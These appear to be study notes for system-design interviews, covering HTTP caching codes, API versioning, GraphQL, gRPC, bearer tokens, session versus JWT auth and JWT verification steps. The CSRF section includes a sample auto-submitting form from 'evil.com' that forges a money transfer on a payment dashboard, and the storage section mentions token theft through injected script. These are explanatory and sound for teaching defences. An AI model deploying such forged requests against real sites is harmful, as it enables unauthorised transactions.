304 Not Modified
cache
| 302 Found (temporary redirect, re-check each time)
| ETag match: server says nothing changed, use your
ETag = fingerprint of response. Client sends: If-None-Match: "etag_value"
Server unchanged -> 304 no body. Server changed -> 200 + new ETag + new body.
301 = permanent, browsers cache forever. 302 = temporary, re-check every time.
400 Bad Request | 401 Unauthorized (not authenticated)
403 Forbidden (authenticated but no permission) | 404 Not Found
409 Conflict | 422 Unprocessable | 429 Too Many Requests
500 Server Error | 502 Bad Gateway | 503 Unavailable | 504 Timeout
401 = "I dont know who you are. Please log in."
403 = "I know who you are. You dont have permission."
Idempotency Keys (Stripe Pattern)
Problem: POST /payments times out. Retry = duplicate charge.
Client generates UUID: idempotency_key = "pay-uuid-abc123"
Sends: POST /payments Idempotency-Key: pay-uuid-abc123
Server:
Key seen before? YES -> return cached response. No processing.
Key seen before? NO -> process, store (key->response) in Redis TTL 24h.
Client retries: same key -> server returns same response -> no duplicate.
Used by: Stripe, Razorpay, PayU, every serious payment API.
Versioning
Why versioning exists: clients (mobile apps, third-party integrations) cannot all update simultaneously. If you
change an API response shape, old clients break. Versioning lets you run old and new contracts in parallel until all
clients have migrated.
Breaking vs non-breaking changes — the rule for when to version:
Non-breaking (no new version needed):
Adding a new optional field to response
Adding a new optional query param
Adding a new endpoint entirely
Relaxing validation (accepting more inputs)
Breaking (needs new version):
Removing a field from response
Renaming a field
Changing a field type (string -> int)
Changing endpoint URL or HTTP method
Tightening validation (rejecting previously valid inputs)
Changing error response shape
Strategy 1 — URL Versioning (most common)
GET /v1/orders
GET /v2/orders
<- v2 returns different shape
Pros:
Immediately obvious in logs, browser, curl
Easy to route at load balancer / API gateway level
Simple for clients to implement
Can run v1 and v2 on completely different services
Cons:
Purists argue URIs should identify resources, not API versions
/v2/orders and /v1/orders are the same resource, different contracts
Used by: Stripe (/v1/), Razorpay (/v1/), Twilio, PayPal
Real Stripe example:
https://api.stripe.com/v1/charges
Stripe has kept /v1 since 2011 -- they use header versioning
on top of URL versioning for finer-grained control.
Strategy 2 — Header Versioning
Version passed in a custom request header. URI stays clean. Same URL, different behaviour based on header.
GET /orders
API-Version: 2024-01-01
GET /orders
API-Version: 2023-06-01
<- older clients still work
Pros:
Clean URIs -- resource identity not polluted with version
Can version at fine granularity (date-based, feature-based)
Easier to default: if no header, assume latest or oldest stable
Cons:
Cannot test in browser URL bar directly
Not cacheable by CDN: URL is identical for all versions,
CDN serves whatever it cached -- wrong version returned
silently.
Fix: add Vary: API-Version header. But this kills CDN hit rate
since each version value becomes a separate cache entry.
Many CDNs ignore custom Vary headers entirely.
Clients must remember to send the header
Used by: Stripe (Stripe-Version: 2023-10-16), GitHub (X-GitHub-Api-Version)
Stripe date versioning:
Each Stripe account is pinned to a specific API version date.
Stripe can change the API, old clients are unaffected.
Client explicitly upgrades by changing their pinned version.
Strategy 3 — Query Param Versioning
GET /orders?version=2
GET /orders?api-version=2024-01-01
Pros:
Cons:
easy to test in browser, no header needed
pollutes the query string, not semantic REST
Used by: Azure REST API, some Google APIs
Avoid for public APIs -- messy and easy to forget.
Strategy 4 — Content Negotiation
GET /orders
Accept: application/vnd.myapi.v2+json
Theoretically the most correct REST approach.
Almost nobody does this in practice.
Complex to implement, complex to document, zero tooling support.
You will see it in academic discussions, not in production systems.
Sunset Policy — How to Kill an Old Version
Shipping a new version is easy. Killing the old one is hard. You need a deprecation process or clients will never
migrate.
Step 1: Announce deprecation with a date.
Add Deprecation and Sunset headers to every v1 response:
Deprecation: true
Sunset: Sat, 01 Jun 2025 00:00:00 GMT
Link: <https://docs.example.com/v2>; rel="successor-version"
Step 2: Monitor which clients still call v1.
Log client IDs / API keys hitting deprecated endpoints.
Proactively contact those clients.
Step 3: At sunset date, return 410 Gone instead of response.
410 Gone = resource permanently removed (stronger than 404).
Include migration guide URL in response body.
Step 4: Remove v1 code after a grace period.
Stripe has never broken a customer by following this pattern.
Minimum deprecation window: 6 months for external APIs.
Internal APIs: 2-4 weeks is usually fine.
Interview answer: "We use URL versioning for discoverability and simplicity. Breaking changes
trigger a new version. We run both versions in parallel, send Deprecation + Sunset headers on the
old version, monitor which clients still use it, and only decommission once usage drops to zero."
Topic 4.2 — GraphQL
2012. Facebook built a mobile app. The app had a user profile screen. It needed the user's name, profile picture,
and their last 3 posts. With REST, this meant calling three separate endpoints. On a 3G mobile network, three
round trips felt broken. And each endpoint returned far more data than the app needed.
=== Problem 1: Over-fetching ===
# REST endpoint for a user:
GET /users/42
{
"id": 42,
"name": "Ayush",
"email": "ayush@gmail.com",
"phone": "9999999999",
"address": { "city": "Noida", "pincode": "201301", ... },
"created_at": "2020-01-01",
"subscription_plan": "pro",
"last_login": "2024-01-10",
"preferences": { "theme": "dark", "language": "en", ... },
... 20 more fields ...
}
# Mobile app only needed: name, profile_picture
# REST returned ALL 20+ fields anyway.
# Every unused field = wasted bandwidth on a slow mobile network.
# This is OVER-FETCHING: server sends more than client needs.
=== Problem 2: Under-fetching (Multiple Round Trips) ===
# Profile screen needs: user info + their posts + followers count
# With REST, 3 separate calls:
GET /users/42
-> round trip 1 (150ms)
GET /users/42/posts
-> round trip 2 (150ms)
GET /users/42/followers
-> round trip 3 (150ms)
# Total: 450ms minimum just in network time.
# On 3G with 300ms RTT: 900ms before screen shows anything.
# This is UNDER-FETCHING: one endpoint does not return enough,
# so client makes multiple calls.
# REST responses have a FIXED SHAPE defined by the server.
# Client cannot ask for less (over-fetching) or more (under-fetching).
# The shape is the server's decision, not the client's.
=== GraphQL Solution: Client Declares Exactly What It Needs ===
# One request, one round trip, exactly the fields needed:
query {
user(id: 42) {
name
<- only this field from user
profilePicture
<- only this field
posts(last: 3) { <- get posts in same request
title
createdAt
}
followersCount
<- get count in same request
}
}
# Response: exactly 5 fields. Nothing extra.
# One network call. Client controls the shape. Server does not decide.
Three Operation Types
Query (reads):
query { user(id:42) { name email posts { title } } }
Returns exactly those fields. Nothing else.
Mutation (writes):
mutation { createPost(title:"Hello") { id title createdAt } }
Changes state. Always POST. Never cached.
Subscription (real-time, NOT HTTP):
subscription { messageAdded(channelId:"ch_1") { id text author { name } }
}
Runs over WebSocket, not HTTP at all.
Server pushes exactly the subscribed fields when the event fires.
Topic 4.3 — gRPC
The Problem
Google had thousands of microservices making 100 million calls per second internally. REST + JSON was burning
enormous CPU just on serialisation — building JSON strings, parsing them back, matching field names. Beyond
performance, every team defined their own API contracts inconsistently. A field renamed in Service B silently
broke Service A at runtime. Google had an internal solution called Stubby. In 2015 they rebuilt it using open
standards and released it as gRPC.
gRPC is a framework built by Google that lets one service call another service's function directly — as if it were a
local function call — without writing any HTTP or JSON code. You define a contract (a .proto file) that says what
functions exist and what they take and return. A compiler generates all the networking code for you in any
language. Under the hood it uses binary encoding (Protobuf) instead of JSON — 2-10x smaller payloads, 5-10x
faster to encode and decode. It runs over HTTP/2 so it supports streaming and multiplexing natively. The browser
cannot use gRPC directly — it needs a proxy layer. This makes it ideal for internal service-to-service
communication and a poor fit for public APIs or anything browser-facing.
When to use gRPC:
Internal microservice-to-microservice calls
High-throughput, low-latency service communication
Streaming data between services (server/client/bidirectional)
Multiple languages -- generate clients from one .proto file
Type safety and compile-time contract enforcement matter
When NOT to use gRPC:
Public-facing APIs (REST is universally understood)
Browser clients (needs a gRPC-Web proxy layer)
Simple CRUD with low traffic (REST is lower setup overhead)
Team unfamiliar with Protobuf tooling
File uploads (REST/GraphQL handle better)
gRPC vs REST in one line:
REST = verbs + URLs + JSON. Human readable. Universally supported.
gRPC = function calls + binary. Fast. Internal services only.
Topic 4.4 — Tokens & Bearer Auth
[ TOPIC QUICK REFERENCE ]
What travels:
Bearer token string (opaque random value OR JWT)
Which header:
Authorization: Bearer <token>
Public key:
No (opaque token = DB/Redis lookup)
Yes (if token is a JWT signed with RS256)
Mechanism:
Server extracts token, looks it up or verifies signature
Storage (client): HttpOnly cookie or Authorization header per request
The Problem
Imagine you walk into a concert venue. At the entrance, a security guard checks your ID, confirms your name on
the list, and hands you a wristband. For the rest of the night you do not show your ID again. Every time you walk
into a restricted area you just flash the wristband. The staff does not call the front desk. They see the wristband
and let you through. That wristband is a token.
Now think about the internet without tokens. You open Instagram. You log in. Instagram shows your feed. You
click a photo. Instagram needs to know: who is asking? Are you still logged in? The terrible option: send your
username and password with every single request. Every click = your password flying across the internet. If
anyone intercepts one request, they have your password forever. This is like showing your passport every time
you walk through a door inside a building. Nobody does this.
The fix: log in once, get a wristband (token), use the wristband for everything after. Your password never travels
again after the first login.
What Is a Token?
A token is a string of characters that proves you already authenticated. That is it. It is a piece of text. You got it by
logging in. Now you carry it. Show it = you are authenticated. The server does not need to see your password
again.
# Example tokens:
# JWT (three parts separated by dots):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjMifQ.abc123sig
# Session token (random string):
a3f9b2c1d4e5f6a7b8c9d0e1f2a3b4c5
What Does "Bearer" Mean?
Bearer = whoever is carrying this token. That is the entire meaning. When you send a token with the word
"Bearer" in front of it, you are saying: I am the bearer (the carrier) of this token. Please treat me as
authenticated.
The server response: I do not care who you are by name. I just care that you are holding a valid token. Come in.
Access goes to whoever bears the token, no questions asked beyond "is this token valid?" Just like a concert
wristband: staff does not know your name, they see the wristband and you are in.
Warning: if someone steals your token, they get in too. Just like a stolen wristband. Bearer auth
means possession = access. This is why token storage and expiry matter so much. Security attacks
on tokens are covered in Topic 4.10.
How Does a Token Travel? (The Authorization Header)
HTTP requests have headers (metadata about the request). When you send a token it rides in a specific header
called the Authorization header. The format is always the same: the word "Authorization", then a colon, then
"Bearer", then a space, then the token string.
# Real HTTP request with a Bearer token:
GET /api/user/profile HTTP/1.1
Host: api.instagram.com
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjMifQ.abc123
The full flow every time after the first login:
Client logs in
--> Server validates credentials
--> Server issues a token
--> Client stores the token
Client makes any future request
--> Attaches token in Authorization header
--> Server validates token
--> Returns data
(or 401 if token invalid/expired)
No password ever sent after the first login.
Where Do You Store the Token?
Three options, each with a different security profile. This is one of the most debated questions in frontend
security.
Option A — localStorage
localStorage.setItem("token", "eyJ...");
Browser storage that persists even after you close the tab. JavaScript can read it freely. Good: simple, survives
page refresh, easy to implement. Bad: any JavaScript running on your page can read it. If a hacker injects
malicious JS into your site (XSS attack), they steal your token in one line: localStorage.getItem("token"). Done.
Token gone. Verdict: convenient but XSS-vulnerable. Avoid for auth tokens in sensitive apps.
Option B — HttpOnly Cookie
Set-Cookie: token=eyJ...; HttpOnly; Secure; SameSite=Strict
The server sends the token as a cookie with the HttpOnly flag. The magic of HttpOnly: JavaScript cannot read this
cookie at all. Zero access. Browser stores it and sends it automatically with every request to that domain. But
document.cookie returns nothing for it. Good: XSS cannot steal it because JS cannot see it. Bad: vulnerable to
CSRF (Cross-Site Request Forgery) without SameSite=Strict. Verdict: most secure option for web apps. Industry
standard for session tokens.
Option C — In-Memory (JavaScript Variable)
let token = "eyJ...";
// just a variable, never written to storage
Store the token in a JS variable, never touch localStorage or cookies. Good: XSS cannot persist the token because
refresh = gone. The attacker has an extremely narrow window even if they run malicious JS. Bad: token dies the
moment you refresh the page. User must log in again. Verdict: safest but most inconvenient. Used in
high-security flows and SPAs with OAuth popups.
Storage
XSS Safe?
CSRF Safe?
Survives Refresh?
Use When
localStorage
No
Yes
Yes
Avoid for auth tokens
HttpOnly Cookie
Yes
Mitigated
Yes
Default choice for web
apps
In-Memory (JS)
Mostly
Yes
No
High-security / SPA
OAuth flows
The Five Token Types
These are introduced briefly here. Each will be covered in depth in upcoming topics.
1. Session Token
Random string generated by server. Server stores it in Redis.
Server remembers: token a3f9b2c1 = user 123, logged in at 2pm.
Every request: server looks up token in DB/Redis.
Stateful: server must store state. Instant revocation.
Q: If Redis is centralised and all servers can read it,
is session auth now stateless?
A: No. Stateful vs stateless is about where the TRUTH lives,
not how many servers can access it.
Session token "a3f9b2c1" tells the server nothing on its own.
Server MUST call Redis to find out who it belongs to.
The truth (userId, role, expiry) lives in Redis, not the token.
JWT is stateless because the token IS the truth -- no lookup needed.
Q: Does stateful session auth break load balancing?
A: Only if sessions are stored in server memory (old pattern).
In-memory sessions: user logs in on S1, session in S1 RAM,
next request hits S2 -- S2 has no session -- logged out.
With centralised Redis: any server hits the same Redis,
any server resolves the token -- load balancing works fine.
Cost: ~0.5ms Redis hop per request + Redis is a single point
of failure if not replicated. JWT removes even this cost.
Summary:
In-memory sessions
Sessions + Redis
JWT
--> breaks load balancing
--> load balancing works, but Redis hop per request
--> no lookup, no hop, but no instant revocation
2. JWT (JSON Web Token)
Carries user data INSIDE the token itself (userId, role, expiry).
Server stores nothing. Just verifies the signature.
Stateless: no DB or Redis lookup needed.
Verification depends on algorithm:
HS256 (symmetric): any server with the SECRET_KEY can verify.
Same key signs AND verifies.
Secret must be shared with every verifying service.
RS256 (asymmetric): any server with the PUBLIC_KEY can verify.
PRIVATE_KEY signs. PUBLIC_KEY verifies.
Public key distributed freely -- cannot forge
tokens.
Preferred for microservices.
Storage:
Option A -- HttpOnly cookie:
JS cannot read it. XSS safe. Vulnerable to CSRF (use
SameSite=Strict).
Most common choice for web apps.
Option B -- Memory (JS variable):
XSS safe (not in DOM). Lost on page refresh.
Used in high-security SPAs or OAuth flows.
Avoid: localStorage. JS-readable. XSS can steal it.
Cannot be revoked before expiry.
Most important type for interviews.
3. API Key
Long static string issued to a developer or service.
Like a password that never changes.
Used for machine-to-machine calls, not human logins.
Example: OpenAI API key, Stripe secret key.
4. Access Token
Short-lived token (15 min to 1 hour). Used to access resources.
Usually a JWT. The token sent with every API call.
Storage: HttpOnly cookie (web) or memory (SPA/mobile). Not localStorage.
Expires quickly by design -- limits damage if stolen.
5. Refresh Token
Long-lived token (days/weeks). Used only to get a new access token.
Never sent to the API directly. Sent only to the auth server.
Stored in HttpOnly cookie.
Exists so users do not re-login every 15 minutes.
How access token and refresh token work together:
Login
--> Get: Access Token (15 min) + Refresh Token (7 days)
Use Access Token for all API calls.
Access Token expires
--> Send Refresh Token to auth server
--> Get new Access Token
--> Keep going, user notices nothing
Refresh Token expires --> User must log in again.
=== Five Terms You Need Before Reading Any Further ===
SHA256
[one-way hashing] [irreversible]
hash = SHA256(message)
SHA256("pay Ayush 5000") = "a3f9b2..."
A fingerprint machine. Feed it any text, get a fixed-length code back.
Same input always gives same output. Cannot reverse it. No key needed.
In production: Git commit IDs, TLS certificate fingerprints,
file download checksums, ingredient inside HMAC and RSA.
Verification never reverses the hash -- it re-hashes and compares:
Producer: SHA256("pay Ayush 5000") = "a3f9b2..." Sends both.
Verifier: SHA256("pay Ayush 5000") = "a3f9b2..." Match -> intact.
Tampered: SHA256("pay Ayush 50000") = "9c7d41..." Mismatch -> caught.
Problem: attacker can recompute SHA256 too.
Changes message -> recomputes hash -> replaces both -> verifier fooled.
SHA256 catches accidental corruption, not deliberate tampering.
This is exactly why HMAC exists.
HMAC
[keyed hashing -- authentication + integrity] [irreversible]
mac = HMAC-SHA256(key, message)
HMAC-SHA256("secret", "pay Ayush 5000") = "f9c3a1..."
SHA256 with a secret key woven into the computation at two points.
Irreversible -- you cannot recover the message or key from the output.
Verification re-computes with the same key and compares. Never reverses.
Attacker who modifies the message cannot recompute the HMAC -- no key.
In production: Razorpay/Stripe webhook signatures, AWS Signature v4
(every AWS API call is HMAC-SHA256 signed), signed cookies.
HMAC is NOT the same as signing:
HMAC:
same key produces AND verifies. Symmetric.
Proves message came from someone who holds the key.
Cannot prove WHICH party created it if both share the key.
Signing: private key produces. Public key verifies. Asymmetric.
Proves exactly WHO created it. Non-repudiation.
RSA
[asymmetric signing] [irreversible in one direction]
signature = RSA_sign(private_key, SHA256(message))
valid
= RSA_verify(public_key, signature, SHA256(message))
A mathematical padlock with two linked keys: private and public.
Cannot reverse a signature to extract the private key.
Cannot forge a signature without the private key.
In production: TLS certificates (server proves identity to browser),
SSH keys (git push, server login), code signing for app
binaries.
HS256
[symmetric JWT signing] [irreversible]
signature = HMAC-SHA256(secret_key, base64(header) + "." +
base64(payload))
The JWT signing method that uses HMAC under the hood.
One shared secret key. Same key signs and verifies.
Output irreversible -- cannot recover the secret key or payload from the
signature.
Simple. Fast. But every verifier must hold the secret.
In production: internal service tokens in a monolith or single-team setup
where one service both issues and verifies the JWT.
RS256
[asymmetric JWT signing] [irreversible]
signature = RSA_sign(private_key, SHA256(base64(header) + "." +
base64(payload)))
verified = RSA_verify(public_key, signature)
The JWT signing method that uses RSA + SHA256 under the hood.
Private key signs. Public key verifies. Two separate keys.
Cannot reverse the signature to recover the private key.
Verifiers get public key only -- cannot forge tokens.
In production: JWTs across microservices (auth service holds private key,
every other service holds public key only), Google/GitHub
OAuth tokens.
--SHA256: anyone can hash, anyone can fake
-> integrity against
accidents only
HMAC:
only key holders can hash or verify
-> integrity + authentication
RSA:
only private key signs, anyone verifies -> integrity + identity +
non-repudiation
All four: irreversible. Verification always re-computes and compares, never
reverses.
Stateful vs Stateless — The Core Split
The most important conceptual divide in auth system design.
=== STATEFUL (Session Token) ===
User logs in
Server creates record: { sessionId: "abc", userId: 123, expiry: ... }
Stores in Redis
Sends "abc" to client. Client carries only the ID.
Every request:
Client sends "abc"
Server looks up "abc" in Redis --> finds userId: 123 --> grants access
Logout:
Server deletes "abc" from Redis. Instant. That session is dead.
Cost: Redis lookup on EVERY request (~0.5ms). If Redis goes down = everyone
logged out.
Why you cannot fake a JWT:
The payload is base64-encoded (readable, not encrypted).
Anyone can decode and read it.
But they cannot change it without breaking the signature.
HS256 case:
Attacker changes payload (role: user -> role: admin).
Server recomputes HMAC_SHA256(new_payload, SECRET_KEY).
Gets a different result. Does not match received signature.
401 rejected. Without the SECRET_KEY, any change is detectable.
RS256 case:
Attacker changes payload (role: user -> role: admin).
Server runs SHA256(new_payload) -> hash B.
Server runs RSA_verify(signature, PUBLIC_KEY) -> hash A.
hash A != hash B. Signature was made over the original payload.
401 rejected. Without the PRIVATE_KEY, they cannot re-sign.
JWT is not encrypted by default.
The payload is readable by anyone who holds the token.
Never put passwords, credit card numbers, or sensitive data in a JWT
payload.
userId and role are fine. Secrets are not.
Session Auth
JWT Auth
State
Stateful (server stores session)
Stateless (server stores nothing)
Storage
Redis / DB
Client only
Per-request cost
Redis lookup (~0.5ms)
Signature verify (CPU, ~0.1ms)
Revocation
Instant (delete from Redis)
Cannot revoke before expiry
Horizontal scaling
Needs shared Redis across servers
Any server can verify independently
True logout
Yes (delete session record)
Partial (client deletes, token still valid)
Best for
Monoliths, banking, compliance
Microservices, APIs, mobile apps
One-Paragraph Summary
A token is a string you receive after logging in that proves your identity for all future requests so your password
never travels again. The word Bearer simply means whoever holds this token gets access. Tokens travel in the
HTTP Authorization: Bearer <token> header. Storage matters: HttpOnly cookies are safest for web apps (JS
cannot steal them), localStorage is convenient but XSS-vulnerable, and in-memory is safest but dies on refresh.
There are five token types: session tokens (stateful, server stores them), JWTs (stateless, self-contained), API keys
(static, machine-to-machine), access tokens (short-lived, per-call), and refresh tokens (long-lived, silently renews
access tokens). The deepest split is stateful vs stateless: stateful means the server stores session state and can
revoke instantly; stateless (JWT) means the server stores nothing and scales horizontally, but cannot revoke a
token before it expires. Production systems combine both: short-lived JWTs for performance, server-stored
refresh tokens for controlled revocation.
Topic 4.5 — Session vs Token Auth
[ TOPIC QUICK REFERENCE ]
SESSION TOKEN:
What travels: Session ID (random string, meaningless alone)
Which header: Cookie: session=abc123 (sent automatically by browser)
Public key:
No. Server looks up session ID in Redis.
Mechanism:
Redis.GET(session_id) --> { userId, role, exp }
JWT:
What travels:
Which header:
Public key:
Mechanism:
JWT (self-contained: header.payload.signature)
Authorization: Bearer eyJhbGci...
HS256: No (shared secret). RS256: Yes (JWKS public key).
HS256: recompute HMAC, compare.
RS256: RSA_verify(sig, public_key) recovers hash.
SHA256(data) recomputes hash. Match = valid.
No DB lookup. No Redis. Pure local math.
The Problem
It is 2005. Facebook is growing fast. Every time a user logs in, the server creates a record: "User 123 is logged in.
Their session ID is abc99. They logged in at 2pm." This record lives in the server's memory. The user gets the
session ID as a cookie. Every request, the server looks up abc99, finds user 123, and serves the page.
This works beautifully until Facebook hits 10 million users. Now they need 50 servers. User logs in on Server 1 —
session record is stored in Server 1's memory. Next request goes to Server 2 (load balancer sent it there). Server
2 has no idea who this user is. Logged out. Broken.
Two options: force every user to always hit the same server (sticky sessions — fragile, kills horizontal scaling), or
move sessions to a shared central store like Redis (now every server can look it up). Redis works. But at 100M
users every API call requires a Redis lookup, and if Redis goes down everyone is logged out simultaneously.
Someone asks: what if the token itself carried the user's identity and the server did not need to look anything
up? That question invented JWT-based stateless auth.
Session Auth — How It Works
Think of session auth like a coat check at a restaurant. You arrive (log in). Staff takes your coat (your identity) and
gives you a ticket number — say #47. You carry only the ticket. Every time you need your coat you show #47.
Staff goes to the rack, finds your coat, hands it to you. The rack (server/Redis) holds all the real information. The
ticket means nothing without it.
=== LOGIN ===
Client --> POST /login { username, password }
Server --> validates credentials
Server --> generates random sessionId: "a3f9b2c1d4e5"
Server --> stores in Redis: { "a3f9b2c1d4e5": { userId:123, role:"admin" }
}
Server --> Set-Cookie: sessionId=a3f9b2c1d4e5; HttpOnly
=== EVERY SUBSEQUENT REQUEST ===
Client --> GET /profile
Cookie: sessionId=a3f9b2c1d4e5
Server --> reads sessionId from cookie
Server --> looks up Redis --> finds userId:123
Server --> serves the profile
=== LOGOUT ===
Server --> deletes "a3f9b2c1d4e5" from Redis
Result --> instant revocation. That session is dead.
Location
What is stored
Client (cookie)
Just the session ID — a random meaningless string
Server (Redis)
The actual user data: ID, role, expiry, created time
CSRF Token — Protecting Session-Based Web Requests
Session cookies are sent automatically by the browser for every matching domain. An attacker on a different site
can silently trigger requests to your app and the browser helpfully attaches your session cookie — without you
clicking anything.
=== The Attack (without CSRF protection) ===
User is logged into dashboard.razorpay.com (has session cookie).
User visits evil.com in another tab.
evil.com silently submits:
<form action="https://dashboard.razorpay.com/transfer" method="POST">
<input name="to"
value="attacker_account"/>
<input name="amount" value="500000"/>
</form>
<script>document.forms[0].submit()</script>
Browser auto-attaches razorpay.com session cookie.
Razorpay server sees valid session -> executes transfer.
User never clicked anything.
The Fix — CSRF Token
Server generates a secret random token per session and embeds it in every form it renders. The attacker on
evil.com cannot read this value because cross-origin JS is blocked by the browser's same-origin policy.
=== Server renders the form ===
<form action="/transfer" method="POST">
<input name="to"
value=""/>
<input name="amount"
value=""/>
<input name="csrf_token" value="rAnD0m_t0k3n_49f2b1" type="hidden"/>
</form>
Server also stores: session["csrf_token"] = "rAnD0m_t0k3n_49f2b1"
=== User submits form ===
POST body: to=vendor&amount=5000&csrf_token=rAnD0m_t0k3n_49f2b1
Server: incoming_token == session["csrf_token"]? YES -> proceed.
=== Attacker submits from evil.com ===
POST body: to=attacker&amount=500000 (no csrf_token)
Server: no token in body -> 403. Rejected.
evil.com cannot read the hidden input -- cross-origin JS blocked.
Where the Token Lives
Option A -- Hidden form field (server-rendered pages):
Token embedded in HTML as hidden input.
Submitted in POST body with the form.
Simplest. Used by Rails, Django, Laravel by default.
Option B -- Custom request header (AJAX / SPAs):
Token stored in a READABLE cookie (not HttpOnly -- JS must read it).
JS reads cookie and sends as header: X-CSRF-Token: rAnD0m_t0k3n
Server verifies header value == stored token.
Works because cross-origin JS cannot SET custom headers on requests.
Same-origin JS can. So header being present proves same-origin.
Why CSRF Only Applies to Session Auth
Session cookie:
Browser sends it automatically on every matching domain request.
Attacker on evil.com can trigger requests with your cookie.
CSRF protection REQUIRED.
JWT in Authorization header:
Browser does NOT auto-attach it.
JS must explicitly read the token and add the header.
Cross-origin JS is blocked from reading your page's JWT.
Attacker cannot forge the Authorization header from evil.com.
No CSRF risk. No CSRF token needed.
This is one concrete advantage of JWT over session cookies for APIs.
SameSite Cookie — The Modern Defence
Set-Cookie: sessionId=abc123; SameSite=Strict; HttpOnly
SameSite=Strict:
Cookie never sent on cross-site requests.
evil.com form submit -> no session cookie -> server sees unauthenticated.
CSRF impossible by default. Cleanest fix.
SameSite=Lax:
Cookie sent on top-level navigation (clicking a link) but NOT on
cross-site POST or AJAX. Protects against most CSRF.
Default in modern browsers if SameSite not specified.
Defense in depth:
Use SameSite=Strict AND CSRF tokens together.
SameSite covers modern browsers.
CSRF token covers older browsers and proxies that strip SameSite.
CSRF exploits the fact that browsers automatically send session cookies. The CSRF token fixes this
by requiring a secret value that the attacker cannot read from evil.com. SameSite=Strict is the
modern browser-level defence. CSRF protection is only needed for session-based web apps — JWT
APIs are not vulnerable because the token is never auto-sent.
JWT Auth — How It Works
Think of JWT auth like a laminated card. When you arrive the restaurant gives you a card that says: Name: Ayush.
Table: 7. Membership: Gold. Valid until: 10pm. Signed by the manager so it cannot be forged. Any staff member
in any branch can read your card and know who you are. They do not call the front desk. They read the card and
verify the signature. The card carries the truth itself.
=== LOGIN ===
Client --> POST /login { username, password }
Server --> validates credentials
Server --> creates JWT. Three steps:
# Clarification: "header" here is the JWT's own internal header.
# It is NOT the HTTP request header or response header.
# It is a small JSON object describing the token itself.
Step 1: JWT internal header = { "alg": "HS256", "typ": "JWT" }
base64url_encode it = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"
Step 2: JWT payload = { "userId": 123, "role": "admin", "exp": 1h }
base64url_encode it = "eyJ1c2VySWQiOjEyMywicm9sZSI6ImFkbWluIn0"
Step 3: input_to_sign = encodedHeader + "." + encodedPayload
(this intermediate string has ONE dot inside it)
= "eyJhbGci...J9.eyJ1c2Vya...In0"
Step 4: signature = HMAC_SHA256(input_to_sign, SECRET_KEY)
= "SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
(a cryptographic hash output, then base64url encoded)
Step 5: final JWT = input_to_sign + "." + signature
(this adds the SECOND dot)
Final JWT (two dots, three parts):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
<- encodedHeader
.eyJ1c2VySWQiOjEyMywicm9sZSI6ImFkbWluIn0
<- encodedPayload
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c <- signature
The string that gets signed has 1 dot.
The final JWT has 2 dots. Always exactly 2 dots. Always 3 parts.
Server --> sends JWT to client. Stores NOTHING.
=== EVERY SUBSEQUENT REQUEST ===
Client --> GET /profile
Authorization: Bearer eyJhbGci....
<- JWT in HTTP request
header
(this Authorization is an HTTP header -- different from JWT's
internal header above)
Server --> splits JWT by "." --> gets encodedHeader, encodedPayload,
signature
Server --> reads alg from JWT internal header --> "HS256"
Server --> recomputes: HMAC_SHA256(encodedHeader + "." + encodedPayload,
SECRET_KEY)
Server --> recomputed == signature in token? YES --> valid
Server --> decodes payload --> reads userId:123, role:admin, exp
Server --> exp in future? YES --> serves the profile. Zero DB lookup.
=== LOGOUT ===
Server --> does nothing (has nothing to delete)
Client --> deletes JWT from storage
WARNING --> JWT is still technically valid until exp. Cannot be killed
early.
When Server Receives a JWT — Step by Step
Every protected API request goes through these steps in this exact order. Signature verification always happens
before payload is read.
Incoming request:
GET /profile
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyM30.SflKxwRJ...
# Step 1: Extract the token
Read the Authorization header.
Strip the "Bearer " prefix.
raw_jwt = "eyJhbGci...J9.eyJ1c2Vya...In0.SflKxwRJ..."
# Step 2: Split by dots (always exactly 3 parts)
parts = raw_jwt.split(".")
encodedHeader = parts[0]
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"
encodedPayload = parts[1]
"eyJ1c2VySWQiOjEyM30"
signature
= parts[2]
"SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
# Step 3: Decode header and check algorithm
base64_decode(encodedHeader) = { "alg": "HS256", "typ": "JWT" }
Is "HS256" in server's allowed algorithm whitelist?
NO --> reject immediately. (Prevents alg:none attack.)
YES --> continue.
Server uses its own config for this check. Never blindly trusts the token.
# Step 4: Recompute the signature (algorithm-dependent)
input_string
= encodedHeader + "." + encodedPayload
(exactly as received -- do NOT decode them first)
HS256 (symmetric -- shared secret):
expected_sig =
HMAC_SHA256(input_string, SECRET_KEY)
Server signed with SECRET_KEY at
login. Verifies with same SECRET_KEY here.
Every service that needs to
verify must hold the same SECRET_KEY.
Risk: if one service is
compromised, all tokens are at risk. RS256 (asymmetric -- private/public
key pair):
At login: signature = RSA_sign(input_string, PRIVATE_KEY)
At verify: RSA_verify(input_string, signature, PUBLIC_KEY)
Auth service
holds PRIVATE_KEY only. All other services hold PUBLIC_KEY only.
Compromise of a downstream service does not expose the signing key.
# Step 5: Compare signatures (constant-time comparison)
expected_sig == signature from token?
NO --> 401. Token tampered with or forged.
YES --> token is authentic. Continue.
Note: constant-time comparison, not == directly.
Timing attacks can leak info if you compare char by char.
# Step 6: Decode the payload
Only done AFTER signature is verified.
No point reading payload if token is fake.
base64_decode(encodedPayload)
= { "userId": 123, "role": "admin", "exp": 1700003600, "iss":
"auth.myapp.com" }
# Step 7: Validate claims
exp (expiry):
current_time < 1700003600?
iss (issuer):
"auth.myapp.com" trusted?
aud (audience): "my-api" in audience list?
recipient.
nbf (not before): current_time > nbf?
valid.
NO
NO
NO
--> 401. Token expired.
--> 401. Wrong issuer.
--> 401. Wrong
NO
--> 401. Not yet
# Step 8: Serve the request
All checks passed.
userId = 123, role = admin. Trusted.
No DB lookup. No Redis call. Done.
Order is critical:
Extract --> Split --> Check alg --> Verify signature
--> Decode payload --> Validate claims --> Serve
Signature verification ALWAYS before payload is read.
Signature is verified in Step 5 before the payload is decoded in Step 6. This order is not optional.
